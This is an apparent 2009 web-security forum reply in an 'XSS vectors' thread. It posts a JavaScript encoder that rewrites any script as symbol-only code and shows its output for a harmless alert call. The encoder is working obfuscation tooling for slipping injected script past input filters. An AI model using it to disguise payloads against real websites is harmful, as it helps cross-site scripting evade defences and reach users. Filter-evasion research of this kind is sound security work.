Re: New XSS vectors/Unusual Javascript
Date: June 03, 2009 03:56AM
ok, I've modified gareth's function to a simplified one..
this one should create smaller output code (hackvertors does Function("return char")() for each letter.. and that makes source code toooo large).
function toNonAscii(str){return "$$=-~-~[],$=-~$$,$$$$=$$<<$$,$$$=$$$$+~[];$$$$$=($-$)[$$$$$$=(''+{})[$$+$]+(''+{})[$-$$]+([].$+'')[$-$$]+(!!''+'')[$]+({}+'')[$+$]+(!''+'')[$-$$]+(!''+'')[$$]+(''+{})[$$+$]+({}+'')[$+$]+(''+{})[$-$$]+(!''+'')[$-$$]][$$$$$$];$$$$$$='\\\\'+(!''+'')[$$]+($-$)+($-$);$$$$$$$=''+(!''+'')[$/$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+(!''+'')[$/$]+([].$+'')[$/$];$$$$$($$$$$($$$$$$$+$$$$$($$$$$$$+'\\''+$$$$$$+$$+($-$)+$$$$$$+($$+$)+$+(!''+'')[$-$]+(!''+'')[$/$]+$$$$$$+($+$)+($*$)+([].$+'')[$/$]+$$$$$$+($+$)+$$$+$$$$$$+$$+(!''+'')[$]+$$$$$$+($+$)+($+$)+(!''+'')[$/$]+$$$$$$+($+$)+(![]+'')[$-$]+$$$$$$+($+$)+([].$+'')[$$]+$$$$$$+($$+$$)+$+$$$$$$+($+$)+($$$$)+$$$$$$+($+$)+($/$)+(!''+'')[$/$]+$$$$$$+($$+$$)+$+$$$$$$+($+$)+(![]+'')[$-$]+$$$$$$+($+$)+($$+$$)+(!''+'')[$]+'\\'')())()("+str.replace(/./g,function(c){return ",''"+(""+c.charCodeAt()).replace(/./g,function(d){return "+"+["($-$)","$/$","$$","$","$$*$$","($$+$)","$*$$","$$$","$$$$","$*$"][d];})}).slice(1)+"))();";}
try..
toNonAscii('alert("cool code")');
creates:
$$=-~-~[],$=-~$$,$$$$=$$<<$$,$$$=$$$$+~[];$$$$$=($-$)[$$$$$$=(''+{})[$$+$]+(''+{})[$-$$]+([].$+'')[$-$$]+(!!''+'')[$]+({}+'')[$+$]+(!''+'')[$-$$]+(!''+'')[$$]+(''+{})[$$+$]+({}+'')[$+$]+(''+{})[$-$$]+(!''+'')[$-$$]][$$$$$$];$$$$$$='\\'+(!''+'')[$$]+($-$)+($-$);$$$$$$$=''+(!''+'')[$/$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+(!''+'')[$/$]+([].$+'')[$/$];$$$$$($$$$$($$$$$$$+$$$$$($$$$$$$+'\''+$$$$$$+$$+($-$)+$$$$$$+($$+$)+$+(!''+'')[$-$]+(!''+'')[$/$]+$$$$$$+($+$)+($*$)+([].$+'')[$/$]+$$$$$$+($+$)+$$$+$$$$$$+$$+(!''+'')[$]+$$$$$$+($+$)+($+$)+(!''+'')[$/$]+$$$$$$+($+$)+(![]+'')[$-$]+$$$$$$+($+$)+([].$+'')[$$]+$$$$$$+($$+$$)+$+$$$$$$+($+$)+($$$$)+$$$$$$+($+$)+($/$)+(!''+'')[$/$]+$$$$$$+($$+$$)+$+$$$$$$+($+$)+(![]+'')[$-$]+$$$$$$+($+$)+($$+$$)+(!''+'')[$]+'\'')())()(''+$*$+$$$,''+$/$+($-$)+$$$$,''+$/$+($-$)+$/$,''+$/$+$/$+$$*$$,''+$/$+$/$+$*$$,''+$$*$$+($-$),''+$+$$*$$,''+$*$+$*$,''+$/$+$/$+$/$,''+$/$+$/$+$/$,''+$/$+($-$)+$$$$,''+$+$$,''+$*$+$*$,''+$/$+$/$+$/$,''+$/$+($-$)+($-$),''+$/$+($-$)+$/$,''+$+$$*$$,''+$$*$$+$/$,''+($$+$)+$*$))();
and hackvertor makes:
$$=-~-~[],$=-~$$,$$$$=$$<<$$,$$$=$$$$+~[];$$$$$=($-$)[$$$$$$=(''+{})[$$+$]+(''+{})[$-$$]+([].$+'')[$-$$]+(!!''+'')[$]+({}+'')[$+$]+(!''+'')[$-$$]+(!''+'')[$$]+(''+{})[$$+$]+({}+'')[$+$]+(''+{})[$-$$]+(!''+'')[$-$$]][$$$$$$];$$$$$($$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($-$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$)+($$+$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($$+$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($+$)+($$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($+$)+($$+$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($$+$)+($-$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($$+$$)+($$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$)+($$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$)+($$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$)+($$+$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($$+$$)+($-$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$)+($$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($$+$$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($-$$)+($$+$$)+($$+$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($$+$$)+($$)+'\'')()+$$$$$((!''+'')[$-$$]+(!''+'')[$]+(!''+'')[$-$]+(!''+'')[$$]+((!''+''))[$-$$]+([].$+'')[$-$$]+'\''+'\\'+($$+$)+($-$$)+'\'')())()
so well.. :P its important to say that if you want the last call to return something, you have to do: "return 1;" so for example.
eval(toNonAscii("return alert"))('123');
alerts 123
so well.. HASEGAWA is my new god I think..
Greetz!
--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat
Edited 1 time(s). Last edit at 06/03/2009 03:57AM by sirdarckcat.